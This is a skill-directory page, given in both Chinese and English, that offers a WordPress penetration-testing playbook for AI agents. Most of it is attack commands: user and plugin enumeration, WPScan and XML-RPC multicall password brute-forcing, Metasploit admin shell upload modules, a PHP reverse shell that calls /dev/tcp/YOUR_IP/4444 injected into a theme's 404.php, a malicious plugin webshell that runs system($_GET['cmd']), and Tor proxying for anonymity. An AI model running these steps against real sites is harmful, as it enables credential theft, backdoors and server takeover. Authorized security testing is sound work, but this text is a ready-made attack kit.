WordPress Penetration Testing by automindtechnologie-jpg/ultimate-skill.md
npx skills add https://github.com/automindtechnologie-jpg/ultimate-skill.md --skill 'WordPress Penetration Testing'对 WordPress 安装进行全面的安全评估,包括用户、主题和插件的枚举、漏洞扫描、凭证攻击和利用技术。WordPress 驱动着大约 35% 的网站,使其成为安全测试的关键目标。
识别 WordPress 安装:
# 检查 WordPress 指标
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"
# 检查常见的 WordPress 路径
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php
# 检查 meta generator 标签
curl -s http://target.com | grep "generator"
# Nmap WordPress 检测
nmap -p 80,443 --script http-wordpress-enum target.com
关键的 WordPress 文件和目录:
/wp-admin/ - 管理仪表板/wp-login.php - 登录页面/wp-content/ - 主题、插件、上传文件/wp-includes/ - 核心文件/xmlrpc.php - XML-RPC 接口/wp-config.php - 配置文件(如果安全则无法访问)/readme.html - 版本信息使用 WPScan 进行全面的 WordPress 扫描:
# 基本扫描
wpscan --url http://target.com/wordpress/
# 使用 API 令牌(用于漏洞数据)
wpscan --url http://target.com --api-token YOUR_API_TOKEN
# 激进检测模式
wpscan --url http://target.com --detection-mode aggressive
# 输出到文件
wpscan --url http://target.com -o results.txt
# JSON 输出
wpscan --url http://target.com -f json -o results.json
# 详细输出
wpscan --url http://target.com -v
识别 WordPress 版本:
# WPScan 版本检测
wpscan --url http://target.com
# 手动版本检查
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="
# 检查 meta generator
curl -s http://target.com | grep 'name="generator"'
# 检查 RSS 源
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/
版本来源:
识别已安装的主题:
# 枚举所有主题
wpscan --url http://target.com -e at
# 仅枚举易受攻击的主题
wpscan --url http://target.com -e vt
# 使用检测模式进行主题枚举
wpscan --url http://target.com -e at --plugins-detection aggressive
# 手动主题检测
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/
主题漏洞检查:
# 搜索主题漏洞利用
searchsploit wordpress theme <theme_name>
# 检查主题版本
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
识别已安装的插件:
# 枚举所有插件
wpscan --url http://target.com -e ap
# 仅枚举易受攻击的插件
wpscan --url http://target.com -e vp
# 激进插件检测
wpscan --url http://target.com -e ap --plugins-detection aggressive
# 混合检测模式
wpscan --url http://target.com -e ap --plugins-detection mixed
# 手动插件发现
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/
需要检查的常见易受攻击插件:
# 搜索插件漏洞利用
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery
# 检查插件版本
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
发现 WordPress 用户:
# WPScan 用户枚举
wpscan --url http://target.com -e u
# 枚举特定数量的用户
wpscan --url http://target.com -e u1-100
# 作者 ID 枚举(手动)
for i in {1..20}; do
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done
# JSON API 用户枚举(如果启用)
curl -s http://target.com/wp-json/wp/v2/users
# REST API 用户枚举
curl -s http://target.com/wp-json/wp/v2/users?per_page=100
# 登录错误枚举
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
运行所有枚举模块:
# 枚举所有内容
wpscan --url http://target.com -e at -e ap -e u
# 替代的全面扫描
wpscan --url http://target.com -e vp,vt,u,cb,dbe
# 枚举标志:
# at - 所有主题
# vt - 易受攻击的主题
# ap - 所有插件
# vp - 易受攻击的插件
# u - 用户 (1-10)
# cb - 配置备份
# dbe - 数据库导出
# 完整的激进枚举
wpscan --url http://target.com -e at,ap,u,cb,dbe \
--detection-mode aggressive \
--plugins-detection aggressive
暴力破解 WordPress 凭证:
# 单个用户暴力破解
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
# 来自文件的多个用户
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
# 使用密码攻击线程
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
# XML-RPC 暴力破解(更快,可能绕过保护)
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
# 带有 API 限制的暴力破解
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
# 创建目标词表
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt
密码攻击方法:
wp-login - 标准登录表单xmlrpc - XML-RPC 多调用(更快)xmlrpc-multicall - 每个请求多个密码获取凭证后:
# 启动 Metasploit
msfconsole
# 管理员 shell 上传
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit
# Slideshow Gallery 漏洞利用
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit
# 搜索 WordPress 漏洞利用
search type:exploit platform:php wordpress
主题/插件编辑器(具有管理员访问权限):
// 导航到 外观 > 主题编辑器
// 编辑 404.php 或 functions.php
// 添加 PHP 反向 shell:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>
// 或者使用 weevely 后门
// 通过以下方式访问:http://target.com/wp-content/themes/theme_name/404.php
插件上传方法:
# 创建恶意插件
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
EOF
# 压缩并通过 插件 > 添加新插件 > 上传插件 上传
zip malicious.zip malicious.php
# 访问 webshell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
# 检查 XML-RPC 是否启用
curl -X POST http://target.com/xmlrpc.php
# 列出可用方法
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
# 通过 XML-RPC 多调用进行暴力破解
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
# 使用 Tor 代理
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
# HTTP 代理
wpscan --url http://target.com --proxy http://127.0.0.1:8080
# Burp Suite 代理
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
# 基本认证
wpscan --url http://target.com --http-auth admin:password
# 强制 SSL/TLS
wpscan --url https://target.com --disable-tls-checks
| 标志 | 描述 |
|---|---|
-e at | 所有主题 |
-e vt | 易受攻击的主题 |
-e ap | 所有插件 |
-e vp | 易受攻击的插件 |
-e u | 用户 (1-10) |
-e cb | 配置备份 |
-e dbe |
| 路径 | 用途 |
|---|---|
/wp-admin/ | 管理仪表板 |
/wp-login.php | 登录页面 |
/wp-content/uploads/ | 用户上传 |
/wp-includes/ | 核心文件 |
/xmlrpc.php | XML-RPC API |
/wp-json/ | REST API |
| 用途 | 命令 |
|---|---|
| 基本扫描 | wpscan --url http://target.com |
| 所有枚举 | wpscan --url http://target.com -e at,ap,u |
| 密码攻击 | wpscan --url http://target.com -U admin -P pass.txt |
| 激进模式 | wpscan --url http://target.com --detection-mode aggressive |
--random-user-agent--throttle 1000解决方案:
解决方案:
--throttle 500解决方案:
每周安装数
0
仓库
首次出现
1970年1月1日
安全审计
Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.
Identify WordPress installations:
# Check for WordPress indicators
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"
# Check common WordPress paths
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php
# Check meta generator tag
curl -s http://target.com | grep "generator"
# Nmap WordPress detection
nmap -p 80,443 --script http-wordpress-enum target.com
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
| 数据库导出 |
Key WordPress files and directories:
/wp-admin/ - Admin dashboard/wp-login.php - Login page/wp-content/ - Themes, plugins, uploads/wp-includes/ - Core files/xmlrpc.php - XML-RPC interface/wp-config.php - Configuration (not accessible if secure)/readme.html - Version informationComprehensive WordPress scanning with WPScan:
# Basic scan
wpscan --url http://target.com/wordpress/
# With API token (for vulnerability data)
wpscan --url http://target.com --api-token YOUR_API_TOKEN
# Aggressive detection mode
wpscan --url http://target.com --detection-mode aggressive
# Output to file
wpscan --url http://target.com -o results.txt
# JSON output
wpscan --url http://target.com -f json -o results.json
# Verbose output
wpscan --url http://target.com -v
Identify WordPress version:
# WPScan version detection
wpscan --url http://target.com
# Manual version checks
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="
# Check meta generator
curl -s http://target.com | grep 'name="generator"'
# Check RSS feeds
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/
Version sources:
Identify installed themes:
# Enumerate all themes
wpscan --url http://target.com -e at
# Enumerate vulnerable themes only
wpscan --url http://target.com -e vt
# Theme enumeration with detection mode
wpscan --url http://target.com -e at --plugins-detection aggressive
# Manual theme detection
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/
Theme vulnerability checks:
# Search for theme exploits
searchsploit wordpress theme <theme_name>
# Check theme version
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
Identify installed plugins:
# Enumerate all plugins
wpscan --url http://target.com -e ap
# Enumerate vulnerable plugins only
wpscan --url http://target.com -e vp
# Aggressive plugin detection
wpscan --url http://target.com -e ap --plugins-detection aggressive
# Mixed detection mode
wpscan --url http://target.com -e ap --plugins-detection mixed
# Manual plugin discovery
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/
Common vulnerable plugins to check:
# Search for plugin exploits
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery
# Check plugin version
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
Discover WordPress users:
# WPScan user enumeration
wpscan --url http://target.com -e u
# Enumerate specific number of users
wpscan --url http://target.com -e u1-100
# Author ID enumeration (manual)
for i in {1..20}; do
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done
# JSON API user enumeration (if enabled)
curl -s http://target.com/wp-json/wp/v2/users
# REST API user enumeration
curl -s http://target.com/wp-json/wp/v2/users?per_page=100
# Login error enumeration
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
Run all enumeration modules:
# Enumerate everything
wpscan --url http://target.com -e at -e ap -e u
# Alternative comprehensive scan
wpscan --url http://target.com -e vp,vt,u,cb,dbe
# Enumeration flags:
# at - All themes
# vt - Vulnerable themes
# ap - All plugins
# vp - Vulnerable plugins
# u - Users (1-10)
# cb - Config backups
# dbe - Database exports
# Full aggressive enumeration
wpscan --url http://target.com -e at,ap,u,cb,dbe \
--detection-mode aggressive \
--plugins-detection aggressive
Brute-force WordPress credentials:
# Single user brute-force
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
# Multiple users from file
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
# With password attack threads
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
# XML-RPC brute-force (faster, may bypass protection)
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
# Brute-force with API limiting
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
# Create targeted wordlist
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt
Password attack methods:
wp-login - Standard login formxmlrpc - XML-RPC multicall (faster)xmlrpc-multicall - Multiple passwords per requestAfter obtaining credentials:
# Start Metasploit
msfconsole
# Admin shell upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit
# Slideshow Gallery exploit
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit
# Search for WordPress exploits
search type:exploit platform:php wordpress
Theme/plugin editor (with admin access):
// Navigate to Appearance > Theme Editor
// Edit 404.php or functions.php
// Add PHP reverse shell:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>
// Or use weevely backdoor
// Access via: http://target.com/wp-content/themes/theme_name/404.php
Plugin upload method:
# Create malicious plugin
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
EOF
# Zip and upload via Plugins > Add New > Upload Plugin
zip malicious.zip malicious.php
# Access webshell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
# Check if XML-RPC is enabled
curl -X POST http://target.com/xmlrpc.php
# List available methods
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
# Brute-force via XML-RPC multicall
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
# Use Tor proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
# HTTP proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080
# Burp Suite proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
# Basic authentication
wpscan --url http://target.com --http-auth admin:password
# Force SSL/TLS
wpscan --url https://target.com --disable-tls-checks
| Flag | Description |
|---|---|
-e at | All themes |
-e vt | Vulnerable themes |
-e ap | All plugins |
-e vp | Vulnerable plugins |
-e u | Users (1-10) |
-e cb | Config backups |
-e dbe | Database exports |
| Path | Purpose |
|---|---|
/wp-admin/ | Admin dashboard |
/wp-login.php | Login page |
/wp-content/uploads/ | User uploads |
/wp-includes/ | Core files |
/xmlrpc.php | XML-RPC API |
/wp-json/ | REST API |
| Purpose | Command |
|---|---|
| Basic scan | wpscan --url http://target.com |
| All enumeration | wpscan --url http://target.com -e at,ap,u |
| Password attack | wpscan --url http://target.com -U admin -P pass.txt |
| Aggressive | wpscan --url http://target.com --detection-mode aggressive |
--random-user-agent--throttle 1000Solutions:
Solutions:
--throttle 500Solutions:
Weekly Installs
0
Repository
First Seen
Jan 1, 1970
Security Audits
Vue 3 调试指南:解决响应式、计算属性与监听器常见错误
9,800 周安装
Apple App Store 审核专家:AI 助手审查 iOS 应用代码与元数据,降低被拒风险
7,800 周安装
Android移动端设计:掌握Material Design 3与Jetpack Compose构建现代化自适应应用
7,800 周安装
Dataverse Python 生产级代码生成器 | 含错误处理、重试逻辑、OData优化
7,800 周安装
Firecrawl CLI 网站爬取工具 - 批量提取网页内容,支持深度限制和路径过滤
8,300 周安装
Firecrawl Search:支持内容抓取的网络搜索工具,JSON格式返回结果
8,400 周安装
Google Workspace Apps Script CLI 工具 - 自动化脚本项目管理和部署
629 周安装